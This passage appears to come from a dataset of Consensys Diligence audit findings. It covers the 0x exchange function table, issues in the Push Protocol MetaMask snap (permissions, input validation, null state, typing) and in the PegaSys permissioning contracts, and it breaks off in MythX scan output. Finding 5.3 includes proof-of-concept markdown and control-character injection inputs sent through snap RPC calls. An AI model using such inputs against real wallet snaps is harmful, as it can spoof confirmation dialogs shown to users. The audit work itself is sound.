Public NO batchCancelOrders Public NO LibExchangeRichErrorDecoder Implementation decodeSignatureError Public NO decodeEIP1271SignatureError Public NO decodeSignatureValidatorNotApprovedError Public NO decodeSignatureWalletError Public NO decodeOrderStatusError Public NO decodeExchangeInvalidContextError Public NO decodeFillError Public NO decodeOrderEpochError Public NO decodeAssetProxyExistsError Public NO decodeAssetProxyDispatchError Public NO decodeAssetProxyTransferError Public NO decodeNegativeSpreadError Public NO decodeTransactionError Public NO decodeTransactionExecutionError Public NO decodeIncompleteFillError Public NO _assertSelectorBytes Private \ud83d\udd10 IWallet Implementation isValidSignature External NO LibEIP712ExchangeDomain Implementation Public LibExchangeRichErrors Library SignatureErrorSelector Internal \ud83d\udd12 SignatureValidatorNotApprovedErrorSelector Internal \ud83d\udd12 EIP1271SignatureErrorSelector Internal \ud83d\udd12 SignatureWalletErrorSelector Internal \ud83d\udd12 OrderStatusErrorSelector Internal \ud83d\udd12 ExchangeInvalidContextErrorSelector Internal \ud83d\udd12 FillErrorSelector Internal \ud83d\udd12 OrderEpochErrorSelector Internal \ud83d\udd12 AssetProxyExistsErrorSelector Internal \ud83d\udd12 AssetProxyDispatchErrorSelector Internal \ud83d\udd12 AssetProxyTransferErrorSelector Internal \ud83d\udd12 NegativeSpreadErrorSelector Internal \ud83d\udd12 TransactionErrorSelector Internal \ud83d\udd12 TransactionExecutionErrorSelector Internal \ud83d\udd12 IncompleteFillErrorSelector Internal \ud83d\udd12 BatchMatchOrdersErrorSelector Internal \ud83d\udd12 TransactionGasPriceErrorSelector Internal \ud83d\udd12 TransactionInvalidContextErrorSelector Internal \ud83d\udd12 PayProtocolFeeErrorSelector Internal \ud83d\udd12 BatchMatchOrdersError Internal \ud83d\udd12 SignatureError Internal \ud83d\udd12 SignatureValidatorNotApprovedError Internal \ud83d\udd12 EIP1271SignatureError Internal \ud83d\udd12 SignatureWalletError Internal \ud83d\udd12 OrderStatusError Internal \ud83d\udd12 ExchangeInvalidContextError Internal \ud83d\udd12 FillError Internal \ud83d\udd12 OrderEpochError Internal \ud83d\udd12 AssetProxyExistsError Internal \ud83d\udd12 AssetProxyDispatchError Internal \ud83d\udd12 AssetProxyTransferError Internal \ud83d\udd12 NegativeSpreadError Internal \ud83d\udd12 TransactionError Internal \ud83d\udd12 TransactionExecutionError Internal \ud83d\udd12 TransactionGasPriceError Internal \ud83d\udd12 TransactionInvalidContextError Internal \ud83d\udd12 IncompleteFillError Internal \ud83d\udd12 PayProtocolFeeError Internal \ud83d\udd12 LibFillResults Library calculateFillResults Internal \ud83d\udd12 calculateMatchedFillResults Internal \ud83d\udd12 addFillResults Internal \ud83d\udd12 _calculateMatchedFillResults Private \ud83d\udd10 _calculateMatchedFillResultsWithMaximalFill Private \ud83d\udd10 _calculateCompleteFillBoth Private \ud83d\udd10 _calculateCompleteRightFill Private \ud83d\udd10 LibMath Library safeGetPartialAmountFloor Internal \ud83d\udd12 safeGetPartialAmountCeil Internal \ud83d\udd12 getPartialAmountFloor Internal \ud83d\udd12 getPartialAmountCeil Internal \ud83d\udd12 isRoundingErrorFloor Internal \ud83d\udd12 isRoundingErrorCeil Internal \ud83d\udd12 LibMathRichErrors Library DivisionByZeroError Internal \ud83d\udd12 RoundingError Internal \ud83d\udd12 LibOrder Library getTypedDataHash Internal \ud83d\udd12 getStructHash Internal \ud83d\udd12 LibZeroExTransaction Library getTypedDataHash Internal \ud83d\udd12 getStructHash Internal \ud83d\udd12 TestLibEIP712ExchangeDomain Implementation LibEIP712ExchangeDomain Public LibEIP712ExchangeDomain TestLibFillResults Implementation calculateFillResults Public NO calculateMatchedFillResults Public NO addFillResults Public NO TestLibMath Implementation safeGetPartialAmountFloor Public NO safeGetPartialAmountCeil Public NO getPartialAmountFloor Public NO getPartialAmountCeil Public NO isRoundingErrorFloor Public NO isRoundingErrorCeil Public NO TestLibOrder Implementation getTypedDataHash Public NO getStructHash Public NO TestLibZeroExTransaction Implementation getTypedDataHash Public NO getStructHash Public NO AssetProxyOwner Implementation MultiSigWalletWithTimeLock Public MultiSigWalletWithTimeLock registerFunctionCall External onlyWallet executeTransaction Public notExecuted fullyConfirmed _registerFunctionCall Internal \ud83d\udd12 _assertValidFunctionCall Internal \ud83d\udd12 MultiSigWallet Implementation External NO Public validRequirement addOwner Public onlyWallet ownerDoesNotExist notNull validRequirement removeOwner Public onlyWallet ownerExists replaceOwner Public onlyWallet ownerExists ownerDoesNotExist changeRequirement Public onlyWallet validRequirement submitTransaction Public NO confirmTransaction Public ownerExists transactionExists notConfirmed revokeConfirmation Public ownerExists confirmed notExecuted executeTransaction Public ownerExists confirmed notExecuted _externalCall Internal \ud83d\udd12 isConfirmed Public NO _addTransaction Internal \ud83d\udd12 notNull getConfirmationCount Public NO getTransactionCount Public NO getOwners Public NO getConfirmations Public NO getTransactionIds Public NO MultiSigWalletWithTimeLock Implementation MultiSigWallet Public MultiSigWallet changeTimeLock Public onlyWallet confirmTransaction Public ownerExists transactionExists notConfirmed notFullyConfirmed executeTransaction Public notExecuted fullyConfirmed pastTimeLock _setConfirmationTime Internal \ud83d\udd12 Authorizable Implementation Ownable, IAuthorizable Public Ownable addAuthorizedAddress External onlyOwner removeAuthorizedAddress External onlyOwner removeAuthorizedAddressAtIndex External onlyOwner getAuthorizedAddresses External NO _assertSenderIsAuthorized Internal \ud83d\udd12 _addAuthorizedAddress Internal \ud83d\udd12 _removeAuthorizedAddressAtIndex Internal \ud83d\udd12 LibAddress Library isContract Internal \ud83d\udd12 LibAddressArray Library append Internal \ud83d\udd12 contains Internal \ud83d\udd12 indexOf Internal \ud83d\udd12 LibAddressArrayRichErrors Library MismanagedMemoryError Internal \ud83d\udd12 LibAuthorizableRichErrors Library AuthorizedAddressMismatchError Internal \ud83d\udd12 IndexOutOfBoundsError Internal \ud83d\udd12 SenderNotAuthorizedError Internal \ud83d\udd12 TargetAlreadyAuthorizedError Internal \ud83d\udd12 TargetNotAuthorizedError Internal \ud83d\udd12 ZeroCantBeAuthorizedError Internal \ud83d\udd12 LibBytes Library rawAddress Internal \ud83d\udd12 contentAddress Internal \ud83d\udd12 memCopy Internal \ud83d\udd12 slice Internal \ud83d\udd12 sliceDestructive Internal \ud83d\udd12 popLastByte Internal \ud83d\udd12 equals Internal \ud83d\udd12 readAddress Internal \ud83d\udd12 writeAddress Internal \ud83d\udd12 readBytes32 Internal \ud83d\udd12 writeBytes32 Internal \ud83d\udd12 readUint256 Internal \ud83d\udd12 writeUint256 Internal \ud83d\udd12 readBytes4 Internal \ud83d\udd12 writeLength Internal \ud83d\udd12 LibBytesRichErrors Library InvalidByteOperationError Internal \ud83d\udd12 LibEIP1271 Implementation LibEIP712 Library hashEIP712Domain Internal \ud83d\udd12 hashEIP712Message Internal \ud83d\udd12 LibFractions Library add Internal \ud83d\udd12 normalize Internal \ud83d\udd12 normalize Internal \ud83d\udd12 scaleDifference Internal \ud83d\udd12 LibOwnableRichErrors Library OnlyOwnerError Internal \ud83d\udd12 TransferOwnerToZeroError Internal \ud83d\udd12 LibReentrancyGuardRichErrors Library IllegalReentrancyError Internal \ud83d\udd12 LibRichErrors Library StandardError Internal \ud83d\udd12 rrevert Internal \ud83d\udd12 LibSafeMath Library safeMul Internal \ud83d\udd12 safeDiv Internal \ud83d\udd12 safeSub Internal \ud83d\udd12 safeAdd Internal \ud83d\udd12 max256 Internal \ud83d\udd12 min256 Internal \ud83d\udd12 LibSafeMathRichErrors Library Uint256BinOpError Internal \ud83d\udd12 Uint256DowncastError Internal \ud83d\udd12 Ownable Implementation IOwnable Public transferOwnership Public onlyOwner _assertSenderIsOwner Internal \ud83d\udd12 ReentrancyGuard Implementation _lockMutexOrThrowIfAlreadyLocked Internal \ud83d\udd12 _unlockMutex Internal \ud83d\udd12 Refundable Implementation ReentrancyGuard _refundNonZeroBalanceIfEnabled Internal \ud83d\udd12 _refundNonZeroBalance Internal \ud83d\udd12 _disableRefund Internal \ud83d\udd12 _enableAndRefundNonZeroBalance Internal \ud83d\udd12 _areRefundsDisabled Internal \ud83d\udd12 SafeMath Implementation _safeMul Internal \ud83d\udd12 _safeDiv Internal \ud83d\udd12 _safeSub Internal \ud83d\udd12 _safeAdd Internal \ud83d\udd12 _max256 Internal \ud83d\udd12 _min256 Internal \ud83d\udd12 IAuthorizable Implementation IOwnable addAuthorizedAddress External NO removeAuthorizedAddress External NO removeAuthorizedAddressAtIndex External NO getAuthorizedAddresses External NO IOwnable Implementation transferOwnership Public NO Legend Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "5.1 Superfluous Permission endowment:ethereum-provider ", "body": " Resolution fixed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761 by removing the ethereum provider permission from the manifest. Description The snap requests permission endowment:ethereum-provider but window.ethereum is never accessed from within the snap s context. snap/snap.manifest.json:L39 \"endowment:ethereum-provider\": {} Recommendation Remove superfluous permissions. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.2 A Trusted Website Can Add Any Address to the Snaps Address Storage; No Control Over Added Addresses; Confirmation Is a Notification ", "body": " Resolution partially addressed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761 by only allowing trusted origins to interact with the snap. Update: user confirmation for address management (add/remove current account) added with ethereum-push-notification-service/push-protocol-snaps@7ee018947303014e8c14e9413a5edd9fd29f9829 Description Trusted websites can add addresses to the list of addresses the user wants to receive notifications for. However, the user has no control over the addresses, and even though the code suggests that the snap user must confirm new address addition, this confirmation is merely a notification that the address has been added. The lack of address management may lead to a self-DoS when too many addresses are added to the extension. await window.ethereum?.request({ method: \"wallet_invokeSnap\", params: { snapId: \"local:http://localhost:8080\", request: { method: 'hello', params: { address: \"\\nhi\\nho\" } }, }}) push-snap-site/components/buttons/ConfirmButton.tsx:L6-L35 export default function ConfirmButton() { const { address, isConnecting, isDisconnected } = useAccount(); const defaultSnapOrigin = `local:http://localhost:8080`; const sendHello = async (address: string) => { await window.ethereum?.request({ method: \"wallet_invokeSnap\", params: { snapId: defaultSnapOrigin, request: { method: 'hello', params: { address: address } }, }, }); }; const { data, isError, isLoading, isSuccess, signMessage } = useSignMessage({ message: `Confirm your Address ${address}, \\n this will be added to MetaMask for sending notifications`, }); function sleep(ms: number) { return new Promise((resolve) => setTimeout(resolve, ms)); const confirmAddition=async()=>{ signMessage(); if(isSuccess){ await sleep(5000); await sendHello(String(address)); The same is true for configuration settings. Any connected dap may set togglepopup. This may be problematic in multi-dapp scenarios where multiple dapps request to set togglepopup. Recommendation Note that dapps are not necessarily completely trusted. They can be modified, or malicious behavior may be added later by the dapp deployer (unless used locally or via IPFS). Therefore, the snap should always notify the wallet owner of important state changes and allow them to reject them or, in this case, manage addresses that ve been added previously. Consider checking the origin in onRPC if this dapp is only meant to be called from a specific dapp address. Otherwise, any connected dapp may change configuration settings. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.3 Lax Input Validation, Control Char, URI, and Markdown Injection ", "body": " Resolution addressed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761 validating the address with ethers.utils.isAddress. Update 1: Markdown rendering of newlines fixed with: ethereum-push-notification-service/push-protocol-snaps@7ee018947303014e8c14e9413a5edd9fd29f9829 Major: Markdown Injection in Confirmation Dialogue re-introduced with ethereum-push-notification-service/push-protocol-snaps@7ee018947303014e8c14e9413a5edd9fd29f9829 Update 2: Markdown Injection in Confirmation Dialogue fixed with ethereum-push-notification-service/push-protocol-snaps@b40e141243c77bfd7ec109408b326607b19314c8 Description There is no input validation on the address to be added. The input may be an ethereum address but can be anything, potentially breaking security assumptions in the code and leading to unwanted side effects. request.params may be null, and request.params.address may not be an ethereum address. snap/src/index.ts:L18 await addAddress(request.params.address || \"0x0\"); Example await window.ethereum?.request({ method: \"wallet_invokeSnap\", params: { snapId: \"local:http://localhost:8080\", request: { method: 'hello', params: { address: \"Hi \ud83d\ude4c\\n\\n \ud83d\udd38 **boom**\" } }, }}) URI injection if address contains ?#/ snap/src/utils/fetchnotifs.ts:L3-L13 export const getNotifications=async(address:string)=>{ const url = `https://backend-prod.epns.io/apis/v1/users/eip155:5:${address}/feeds`; const response = await fetch(url, { method: 'get', headers: { 'Content-Type': 'application/json', }, }); const data = await response.json(); return data; Injection in notifications snap/src/utils/popupHelper.ts:L3-L12 export const popupHelper = (notifs: String[]) => { let msg = []; if (notifs.length > 0) { notifs.forEach((notif) => { let str = `\\n\ud83d\udd14` + notif + \"\\n\"; msg.push(str); }); return msg; }; Markdown injection snap/src/utils/fetchAddress.ts:L45-L52 const data = persistedData.addresses; const popup = persistedData.popuptoggle; let msg=''; for(let i = 0; i < data!.length; i++){ msg = msg + '\ud83d\udd39' + data![i] + '\\n'; return snap.request({ method: 'snap_dialog', Also, note that the currently rendered markdown that lists addresses appears wrong, as markdown newlines require \\n\\n instead of \\n. Recommendation Strictly validate inputs from external origins. Ensure that the provided address is a valid ethereum address. Optionally check the addresses checksum to detect typos. Ensure that inputs may not lead to renderable markdown. Fix the rendered list of addresses to properly display as a newline d list. Ensure untrusted inputs cannot inject context-sensitive information into fetch urls. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.4 persistedData Race Where snap_manageState.get Returnsnull ", "body": " Resolution addressed with ethereum-push-notification-service/push-protocol-snaps@7ee018947303014e8c14e9413a5edd9fd29f9829 by introducing a wrapper function that ensures that snapstate returns sane defaults. This function is not used everywhere, but in places where it is not, custom checks are employed. Description Metamask Error: snap.request(, {method: 'snap_manageState', params: {operation: 'get'}}) may return null. Snap state is only initialized on rpc request method hello via addAddress(). This is the only method that checks if the retrieved state is null: snap/src/utils/fetchAddress.ts:L5-L20 export const addAddress = async (address:string) => { const persistedData = await snap.request({ method: 'snap_manageState', params: { operation: 'get' }, }); if(persistedData == null){ const data = { addresses: [address], popuptoggle: 0, }; await snap.request({ method: 'snap_manageState', params: { operation: 'update', newState:data }, }); snap/src/index.ts:L12-L21 export const onRpcRequest: OnRpcRequestHandler = async ({ origin, request, }) => { switch (request.method) { case \"hello\": { await addAddress(request.params.address || \"0x0\"); await confirmAddress(); break; If the state was never initialized or there was a race where rpc-hello() was not called first, then the snap may run into a null deref exception (here rpc-togglepopup): snap/src/utils/toggleHelper.ts:L2-L12 let persistedData = await snap.request({ method: 'snap_manageState', params: { operation: 'get' }, }); let popuptoggle = notifcount; const data = { addresses: persistedData.addresses, popuptoggle: popuptoggle, }; Recommendation Wrap snap_manageState with a function that always falls back to safe defaults if the snap state was never set. This also obsoleted the future need to check if persistedData is null as the new method ensures safe non-null defaults. This should also silence some of the type errors reported by tslint that warn that attributes of persistentdata are read while it might be null (see issue 5.6 ). ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.5 User Flow - Request to Sign Message Does Not Provide Security Guarantee ", "body": " Resolution obsolete, removed with ethereum-push-notification-service/push-protocol-snaps@7ee018947303014e8c14e9413a5edd9fd29f9829. Description A connected dapp can add any address to the snap via the RPC method hello. There is no added security by requesting the user to sign with their address as the backend API gives access to any address notification (they are not private) and the dapps request is a front-end-only solution. A user may add any other address by creating their dapp which allows custom addresses. In light of this, the front-end (dapp) security check requiring the user to prove that they are in possession of the private key appears not to add any security guarantees to the snap. Instead, the snap may want to enumerate wallet account addresses internally instead and remove the hello API altogether, or, allow any address to be added without requiring a proof of ownership of an address. Examples push-snap-site/components/buttons/ConfirmButton.tsx:L20-L23 const { data, isError, isLoading, isSuccess, signMessage } = useSignMessage({ message: `Confirm your Address ${address}, \\n this will be added to MetaMask for sending notifications`, }); Recommendation Remove the signature check, and add linked accounts from within the snaps context. Be transparent that notification texts are not private, and anyone can subscribe to the back-end API. If notifications are private to the recipient, we suggest encrypting them for the target account and adding logic in the snap to allow the recipient to decrypt them within the context of the snap. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.6 TypeScript Errors ", "body": " Resolution partially addressed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761: toggleHelper not addressed. popupHelper addressed as per recommendation. fetchAllAddrNotifs fixed by forcing fetchAddress() to return empty array instead. persistedData partially addressed. might still null-deref at persistedData.addresses in index.ts Update: toggleHelper and persistedData addressed with the snap data check wrapper function in ethereum-push-notification-service/push-protocol-snaps@7ee018947303014e8c14e9413a5edd9fd29f9829 Description toggleHelper persistedData should be checked for null and default to a sane initial config. notifcount:Number should be notifcount:number. Type '{ addresses: Json; popuptoggle: Number; }' is not assignable to type 'Record'. Property 'popuptoggle' is incompatible with index signature. Type 'Number' is not assignable to type 'Json'. Type 'Number' is not assignable to type '{ [prop: string]: Json; }'. Index signature for type 'string' is missing in type 'Number'.ts(2322) snap/src/utils/toggleHelper.ts:L7-L16 let popuptoggle = notifcount; const data = { addresses: persistedData.addresses, popuptoggle: popuptoggle, }; await snap.request({ method: 'snap_manageState', params: { operation: 'update', newState:data }, }); popupHelper let msg = [] should be let msg = [] as String[]; Variable 'msg' implicitly has an 'any[]' type.ts(7005) addresses can be null snap/src/utils/fetchnotifs.ts:L34-L37 export const fetchAllAddrNotifs = async () => { const addresses = await fetchAddress(); let notifs:String[] = []; for(let i = 0; i < addresses.length; i++){ persistedData can be null snap/src/index.ts:L63-L68 let persistedData = await snap.request({ method: \"snap_manageState\", params: { operation: \"get\" }, }); let popuptoggle = Number(persistedData.popuptoggle) + msgs.length; Recommendation Fix the typescript configuration (see issue 5.13 ). Fix all reported ts-lint errors. Avoid using any types and use safe types instead. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.7 Avoid Hardcoding the Local Snap ID ", "body": " Description The local snap-id is hardcoded in various places. Local snap IDs should not be used in production. Hence, we recommend defining and importing the snap id from a single source file within the project, setting it to local:http://localhost:8080 and npm:push-v1 depending on whether the build is set to be production or development (e.g., using an environment variable). push-snap-site/components/buttons/ConfirmButton.tsx:L6-L8 export default function ConfirmButton() { const { address, isConnecting, isDisconnected } = useAccount(); const defaultSnapOrigin = `local:http://localhost:8080`; push-snap-site/components/buttons/ReconnectButton.tsx:L4-L6 export default function ReconnectButton() { const defaultSnapOrigin = `local:http://localhost:8080`; push-snap-site/components/buttons/SendMessageButton.tsx:L1-L3 export default function ReconnectButton() { const defaultSnapOrigin = `local:http://localhost:8080`; ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.8 package.json - Invalid License ", "body": " Resolution fixed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761 by changing the license to GPLv2. Description The license field in package.json is invalid. snap/package.json:L9 \"license\": \"(MIT-0 OR Apache-2.0)\", Recommendation Update the license field. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.9 fetchAddress - Inaccurate Function Name ", "body": " Description Function fetchAddress returns an array of addresses and should, therefore, be named fetchAddresses snap/src/utils/fetchAddress.ts:L66-L73 export const fetchAddress = async () => { const persistedData = await snap.request({ method: 'snap_manageState', params: { operation: 'get' }, }); const addresses = persistedData!.addresses; return addresses; }; ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.10 currentepoch - Unnecesary Conversion From/to String ", "body": " Resolution fixed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761 by not converting Description It is unclear why currentepoch is declared as String while calculations require it to be numerical. Examples snap/src/utils/fetchnotifs.ts:L15-L31 export const filterNotifications=async(address:string)=>{ let fetchedNotifications = await getNotifications(address); fetchedNotifications = fetchedNotifications?.feeds; let notiffeeds:String[] = []; const currentepoch:string = Math.floor(Date.now() / 1000).toString(); if(fetchedNotifications.length > 0){ for(let i = 0; i < fetchedNotifications.length; i++){ let feedepoch = fetchedNotifications[i].payload.data.epoch; feedepoch = Number(feedepoch).toFixed(0); if(feedepoch > parseInt(currentepoch)-60) { let msg = fetchedNotifications[i].payload.data.app+' : '+fetchedNotifications[i].payload.data.amsg; notiffeeds.push(msg); notiffeeds = notiffeeds.reverse(); return notiffeeds; Recommendation currentepoch should be numerical. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.11 Dead Code popup ", "body": " Resolution fixed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761 by removing the used code. Description const popup is retrieved from the snap state but never used within the context of confirmAddress(). This might be an indicator of an incomplete implementation of the togglePopup setting or dead code. snap/src/utils/fetchAddress.ts:L40-L47 export const confirmAddress = async () => { const persistedData = await snap.request({ method: 'snap_manageState', params: { operation: 'get' }, }); const data = persistedData.addresses; const popup = persistedData.popuptoggle; let msg=''; Recommendation Double check if this setting is meant to be read (unlikely) or else clean up and remove unused code. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.12 Unused Import ethers, @metamask/snaps-ui ", "body": " Resolution fixed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761 by using Description ethers ethers is listed as a dependency and imported by fetchAddress.ts but is never used. snap/src/utils/fetchAddress.ts:L3 const {ethers} = require('ethers'); @metamask/snaps-ui @metamask/snaps-ui is imported in popupHelper but the imported components are never used. snap/src/utils/popupHelper.ts:L1 import { heading, panel, text } from \"@metamask/snaps-ui\"; Recommendation Remove the unused import/dependency. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.13 Non-Existent Base Config (Eslint, Tsconfig) ", "body": " Description .eslintrc.js points to a base configuration outside of this repository. snap/.eslintrc.js:L2 extends: ['../../.eslintrc.js'], .eslintrc.js tsconfig.json snap/tsconfig.json:L2 \"extends\": \"../../tsconfig.json\", Recommendation Provide the eslint base configuration with the repository to allow for reproducible lint runs. Run the linter as part of github commit checks. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.14 Performance - await in for Loop ", "body": " Resolution fixed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761 by using Description Performing an await as part of each operation is an indication that the program is not taking full advantage of the parallelization benefits of async/await: snap/src/utils/fetchnotifs.ts:L38 let temp = await filterNotifications(addresses[i]); Recommendation Using Promise.all() fully utilizes parallelism and improves performance ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "5.15 API Design - Consider Using Consistent RPC Method Names ", "body": " Resolution fixed in ethereum-push-notification-service/push-protocol-snaps@1a6a32ef760088ca59f73e555f41b5b5d871f761 by changing the rpc method names as per recommendation. Description Consider using descriptive RPC method names with a distinct prefix, e.g. pushproto_initialize, pushproto_addaddress, pushprotoc_togglepopup: snap/src/index.ts:L17 case \"hello\": { snap/src/index.ts:L22 case \"init\": { snap/src/index.ts:L36 case \"togglepopup\": { Note that init can be called multiple times and is not initializing anything. ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/push-protocol-snap-for-metamask/"}, {"title": "7.1 readOnlyMode is ineffective and may result in a false sense of security Addressed", "body": " Resolution This was addressed in PegaSysEng/permissioning-smart-contracts@ed2d4a2 by adding comments to clarify that Description AccountRules and NodeRules can both enter and exit a mode of operation called readOnlyMode. The only effect of readOnlyMode is to prevent admins (who are the only users able to change rules) from changing rules. Those same admins can disable readOnlyMode, so this mode will not prevent a determined actor from doing something they want to do. Recommendation Either readOnlyMode should be removed to prevent it from providing a false sense of security, or the authorization required to toggle readOnlyMode should be separated from the authorization required to change rules. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "7.2 Ingress.setContractAddress() can cause duplicate entries in contractKeys ", "body": " Resolution This is fixed in PegaSysEng/permissioning-smart-contracts@faff726. Description code/contracts/Ingress.sol:L39-L62 function setContractAddress(bytes32 name, address addr) public returns (bool) { require(name > 0x0000000000000000000000000000000000000000000000000000000000000000, \"Contract name must not be empty.\"); require(isAuthorized(msg.sender), \"Not authorized to update contract registry.\"); ContractDetails memory info = registry[name]; // create info if it doesn't exist in the registry if (info.contractAddress == address(0)) { info = ContractDetails({ owner: msg.sender, contractAddress: addr }); // Update registry indexing contractKeys.push(name); } else { info.contractAddress = addr; // update record in the registry registry[name] = info; emit RegistryUpdated(addr,name); return true; If, however, a contract is actually added with the address 0, which is currently allowed in the code, then the contract does already exists, and adding the name to contractKeys again will result in a duplicate. Mitigation An admin can call removeContract repeatedly with the same name to remove multiple duplicate entries. Recommendation Either disallow a contract address of 0 or check for existence via the owner field instead (which can never be 0). ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "7.3 Use specific contract types instead of address where possible ", "body": " Resolution This is fixed in PegaSysEng/permissioning-smart-contracts@05d33ae and PegaSysEng/permissioning-smart-contracts@2728bac. Description For clarity and to get more out of the Solidity type checker, it s generally preferred to use a specific contract type for variables rather than the generic address. Examples AccountRules.ingressContractAddress could instead be AccountRules.ingressContract and use the type IngressContract: code/contracts/AccountRules.sol:L16 address private ingressContractAddress; code/contracts/AccountRules.sol:L24 AccountIngress ingressContract = AccountIngress(ingressContractAddress); code/contracts/AccountRules.sol:L32 constructor (address ingressAddress) public { This same pattern is found in NodeRules: code/contracts/NodeRules.sol:L32 address private nodeIngressContractAddress; Recommendation Where possible, use a specific contract type rather than address. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "7.4 Ingress should use a set ", "body": " Resolution This is fixed in PegaSysEng/permissioning-smart-contracts@2978bd0 and PegaSysEng/permissioning-smart-contracts@f973035. Description The AdminList, AccountRulesList, and NodeRulesList contracts have been recently rewritten to use a set. Ingress has the semantics of a set but has not been written the same way. This leads to some inefficiencies. In particular, Ingress.removeContract is an O(n) operation: code/contracts/Ingress.sol:L68-L74 for (uint i = 0; i < contractKeys.length; i++) { // Delete the key from the array + mapping if it is present if (contractKeys[i] == name) { delete registry[contractKeys[i]]; contractKeys[i] = contractKeys[contractKeys.length - 1]; delete contractKeys[contractKeys.length - 1]; contractKeys.length--; Recommendation Use the same set implementation for Ingress: an array of ContractDetails and a mapping of names to indexes in that array. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "7.5 Use a specific Solidity compiler version ", "body": " Resolution This is fixed in PegaSysEng/permissioning-smart-contracts@acf5a22 by pinning to Solidity 0.5.9 everywhere except the Description A number of files use a floating pragma as follows: pragma solidity >=0.4.22 <0.6.0; It s better to use a specific Solidity compiler version (preferably a current version). This removes any confusion about which compiler was used when the contract is deployed, and it makes sure the code is never subjected to older compiler bugs. It s still a good idea to upgrade the compiler version in the future as compiler bugs are fixed, but this way you must explicitly choose the new compiler version in your code when you do so. Recommendation Based on the Truffle configuration, the code is currently compiled with Solidity 0.5.9. Consider changing the existing pragmas to the following: pragma solidity 0.5.9; ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "7.6 ContractDetails.owner is never read ", "body": " Resolution This is fixed in PegaSysEng/permissioning-smart-contracts@d3f505e. Description The ContractDetails struct used by Ingress contracts has an owner field that is written to, but it is never read. code/contracts/Ingress.sol:L14-L19 struct ContractDetails { address owner; address contractAddress; mapping(bytes32 => ContractDetails) registry; Recommendation If owner is not (yet) needed, the ContractDetails struct should be removed altogether and the type of Ingress.registry should change to mapping(bytes32 => address) 8 Tool-Based Analysis Several tools were used to perform automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/08/pegasys-permissioning/"}, {"title": "8.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. Below is the raw output of the MythX vulnerability scan: Summary 40 problems (0 errors, 40 warnings) Warnings SWC-108 XXXXX SWC-131 27 XXXXXXXXXXXXXXXXXXXX SWC-110 XXX SWC-128 XXX SWC-123 XX Details AccountRules.sol - 7 problems (0 errors, 7 warnings) Warning 12:9 The state variable visibility is not set. It is best practice to set the visibility of state variables explicitly. The default visibility for \"readOnlyMode\" is internal. Other possible visibility values are public and private. SWC-108 Warning 14:9 The state variable visibility is not set. It is best practice to set the visibility of state variables explicitly. The default visibility for \"version\" is internal. Other possible visibility values are public and private. SWC-108 Warning 61:8 Unused local variable \"\" The local variable \"\" is created within the contract 